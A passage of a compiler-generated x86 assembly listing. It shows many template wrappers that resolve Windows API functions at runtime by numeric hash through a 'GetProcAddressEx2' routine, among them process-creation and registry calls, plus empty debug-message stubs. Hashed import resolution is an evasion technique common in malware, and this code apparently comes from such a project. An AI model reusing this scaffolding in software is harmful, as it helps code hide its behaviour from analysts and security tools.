68 90 00 00 00 push 144 ; 00000090H 00005 68 05 4f b8 f3 push -206024955 ; f3b84f05H 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00016 ff 74 24 04 push DWORD PTR _a1$[esp-4] 0001a ff d0 call eax ; 103 : } 0001c c3 ret 0 ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *> _TEXT ENDS PUBLIC ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z PROC ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 91 00 00 00 push 145 ; 00000091H 00005 68 27 60 2b 39 push 959143975 ; 392b6027H 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00016 ff 74 24 04 push DWORD PTR _a1$[esp-4] 0001a ff d0 call eax ; 103 : } 0001c c3 ret 0 ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ENDP ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 66 : #ifdef DebugUtils ; 67 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str); ; 68 : #endif ; 69 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z PROC ; pushargEx<1,1033466613,47,int>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 2f push 47 ; 0000002fH 00002 68 f5 72 99 3d push 1033466613 ; 3d9972f5H 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00013 ff 74 24 04 push DWORD PTR _a1$[esp-4] 00017 ff d0 call eax ; 103 : } 00019 c3 ret 0 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ENDP ; pushargEx<1,1033466613,47,int> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 1 _Arg2$ = 20 ; size = 4 _Arg3$ = 24 ; size = 4 ??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 90 : #ifdef DebugUtils ; 91 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3); ; 92 : #endif ; 93 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ; pushargEx<3,1799024876,346,char *,char const *,char *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z PROC ; pushargEx<3,1799024876,346,char *,char const *,char *>, COMDAT ; 116 : typedef LPVOID (WINAPI *newfunc)(A, B, C); ; 117 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 5a 01 00 00 push 346 ; 0000015aH 00005 68 ec f0 3a 6b push 1799024876 ; 6b3af0ecH 0000a 6a 03 push 3 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 118 : return func(a1,a2,a3); 00016 ff 74 24 0c push DWORD PTR _a3$[esp-4] 0001a ff 74 24 0c push DWORD PTR _a2$[esp] 0001e ff 74 24 0c push DWORD PTR _a1$[esp+4] 00022 ff d0 call eax ; 119 : } 00024 c3 ret 0 ??$pushargEx@$02$0GLDKPAOM@$0BFK@PADPBDPAD@@YAPAXPADPBD0@Z ENDP ; pushargEx<3,1799024876,346,char *,char const *,char *> _TEXT ENDS PUBLIC ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ; pushargEx<1,2024803454,135,char *,int> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z PROC ; pushargEx<1,2024803454,135,char *,int>, COMDAT ; 108 : typedef LPVOID (WINAPI *newfunc)(A, B); ; 109 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 87 00 00 00 push 135 ; 00000087H 00005 68 7e 0c b0 78 push 2024803454 ; 78b00c7eH 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 110 : return func(a1,a2); 00016 ff 74 24 08 push DWORD PTR _a2$[esp-4] 0001a ff 74 24 08 push DWORD PTR _a1$[esp] 0001e ff d0 call eax ; 111 : } 00020 c3 ret 0 ??$pushargEx@$00$0HILAAMHO@$0IH@PADH@@YAPAXPADH@Z ENDP ; pushargEx<1,2024803454,135,char *,int> _TEXT ENDS PUBLIC ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z PROC ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 3e push 62 ; 0000003eH 00002 68 24 0e 48 9c push -1672999388 ; 9c480e24H 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00013 ff 74 24 04 push DWORD PTR _a1$[esp-4] 00017 ff d0 call eax ; 103 : } 00019 c3 ret 0 ??$pushargEx@$00$0JMEIAOCE@$0DO@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ENDP ; pushargEx<1,2621967908,62,_OSVERSIONINFOEXA *> _TEXT ENDS PUBLIC ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ; pushargEx<7,3378349392,448,int,char *,int,bool> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 1 ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z PROC ; pushargEx<7,3378349392,448,int,char *,int,bool>, COMDAT ; 124 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D); ; 125 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 68 c0 01 00 00 push 448 ; 000001c0H 00005 68 50 85 5d c9 push -916617904 ; c95d8550H 0000a 6a 07 push 7 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 126 : return func(a1,a2,a3,a4); 00016 ff 74 24 10 push DWORD PTR _a4$[esp-4] 0001a ff 74 24 10 push DWORD PTR _a3$[esp] 0001e ff 74 24 10 push DWORD PTR _a2$[esp+4] 00022 ff 74 24 10 push DWORD PTR _a1$[esp+8] 00026 ff d0 call eax ; 127 : } 00028 c3 ret 0 ??$pushargEx@$06$0MJFNIFFA@$0BMA@HPADH_N@@YAPAXHPADH_N@Z ENDP ; pushargEx<7,3378349392,448,int,char *,int,bool> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 1 ??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 ??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 82 : #ifdef DebugUtils ; 83 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2); ; 84 : #endif ; 85 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 _a7$ = 32 ; size = 4 _a8$ = 36 ; size = 4 _a9$ = 40 ; size = 4 _a10$ = 44 ; size = 4 ??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z PROC ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *>, COMDAT ; 171 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 172 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I, X); ; 173 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 6a 3c push 60 ; 0000003cH 00005 68 c7 8a 31 46 push 1177651911 ; 46318ac7H 0000a 6a 01 push 1 0000c 6a 00 push 0 0000e e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00013 83 c4 10 add esp, 16 ; 00000010H ; 174 : return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10); 00016 ff 75 2c push DWORD PTR _a10$[ebp] 00019 ff 75 28 push DWORD PTR _a9$[ebp] 0001c ff 75 24 push DWORD PTR _a8$[ebp] 0001f ff 75 20 push DWORD PTR _a7$[ebp] 00022 ff 75 1c push DWORD PTR _a6$[ebp] 00025 ff 75 18 push DWORD PTR _a5$[ebp] 00028 ff 75 14 push DWORD PTR _a4$[ebp] 0002b ff 75 10 push DWORD PTR _a3$[ebp] 0002e ff 75 0c push DWORD PTR _a2$[ebp] 00031 ff 75 08 push DWORD PTR _a1$[ebp] 00034 ff d0 call eax ; 175 : } 00036 5d pop ebp 00037 c3 ret 0 ??$pushargEx@$00$0EGDBIKMH@$0DM@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z ENDP ; pushargEx<1,1177651911,60,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 _Arg3$ = 24 ; size = 4 ??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 90 : #ifdef DebugUtils ; 91 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3); ; 92 : #endif ; 93 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ; pushargEx<1,3309532403,46,void *,unsigned int> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z PROC ; pushargEx<1,3309532403,46,void *,unsigned int>, COMDAT ; 108 : typedef LPVOID (WINAPI *newfunc)(A, B); ; 109 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 2e push 46 ; 0000002eH 00002 68 f3 74 43 c5 push -985434893 ; c54374f3H 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 110 : return func(a1,a2); 00013 ff 74 24 08 push DWORD PTR _a2$[esp-4] 00017 ff 74 24 08 push DWORD PTR _a1$[esp] 0001b ff d0 call eax ; 111 : } 0001d c3 ret 0 ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ENDP ; pushargEx<1,3309532403,46,void *,unsigned int> _TEXT ENDS PUBLIC ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z PROC ; pushargEx<1,1916711125,17,void *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 11 push 17 ; 00000011H 00002 68 d5 b0 3e 72 push 1916711125 ; 723eb0d5H 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00013 ff 74 24 04 push DWORD PTR _a1$[esp-4] 00017 ff d0 call eax ; 103 : } 00019 c3 ret 0 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ENDP ; pushargEx<1,1916711125,17,void *> _TEXT ENDS PUBLIC ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z ; pushargEx<1,1196787639,84,char *> ; Function compile flags: /Ogspy ; COMDAT ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z PROC ; pushargEx<1,1196787639,84,char *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 54 push 84 ; 00000054H 00002 68 b7 87 55 47 push 1196787639 ; 475587b7H 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00013 ff 74 24 04 push DWORD PTR _a1$[esp-4] 00017 ff d0 call eax ; 103 : } 00019 c3 ret 0 ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z ENDP ; pushargEx<1,1196787639,84,char *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 ??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 82 : #ifdef DebugUtils ; 83 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2); ; 84 : #endif ; 85 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; COMDAT ??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 ??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 74 : #ifdef DebugUtils ; 75 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1); ; 76 : #endif ; 77 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z PROC ; pushargEx<1,2180051167,35,char *>, COMDAT ; 100 : typedef LPVOID (WINAPI *newfunc)(A); ; 101 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00000 6a 23 push 35 ; 00000023H 00002 68 df f0 f0 81 push -2114916129 ; 81f0f0dfH 00007 6a 01 push 1 00009 6a 00 push 0 0000b e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00010 83 c4 10 add esp, 16 ; 00000010H ; 102 : return func(a1); 00013 ff 74 24 04 push DWORD PTR _a1$[esp-4] 00017 ff d0 call eax ; 103 : } 00019 c3 ret 0 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ENDP ; pushargEx<1,2180051167,35,char *> _TEXT ENDS PUBLIC ??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h ; COMDAT ??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z _TEXT SEGMENT _Module$ = 8 ; size = 4 _Str$ = 12 ; size = 4 _Arg1$ = 16 ; size = 4 _Arg2$ = 20 ; size = 4 _Arg3$ = 24 ; size = 4 ??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z PROC ; DBGRPTDEBGTEMPLATES::DBGOutMessage, COMDAT ; 90 : #ifdef DebugUtils ; 91 : Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1, Arg2, Arg3); ; 92 : #endif ; 93 : } 00000 c3 ret 0 ??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z ENDP ; DBGRPTDEBGTEMPLATES::DBGOutMessage _TEXT ENDS PUBLIC ??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *> ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h ; COMDAT ??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z _TEXT SEGMENT _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 _a6$ = 28 ; size = 4 _a7$ = 32 ; size = 4 _a8$ = 36 ; size = 4 _a9$ = 40 ; size = 4 ??$pushargEx@$01$0JAKAJHPA@$0ON@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z PROC ; pushargEx<2,2426443760,237,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>, COMDAT ; 163 : { 00000 55 push ebp 00001 8b ec mov ebp, esp ; 164 : typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G, H, I); ; 165 : newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex ); 00003 68 ed 00 00 00 push 237 ; 000000edH 00008 68 f0 97 a0 90 push -1868523536 ; 90a097f0H 0000d 6a 02 push 2 0000f 6a 00 push 0 00011 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 00016 83 c4 10 add esp, 16 ; 00000010H ; 166 : return func(a1, a2, a3, a4, a5, a6, a7, a8, a9); 00019 ff 75 28 push DWORD PTR _a9$[ebp] 0001c ff 75 24 push DWORD 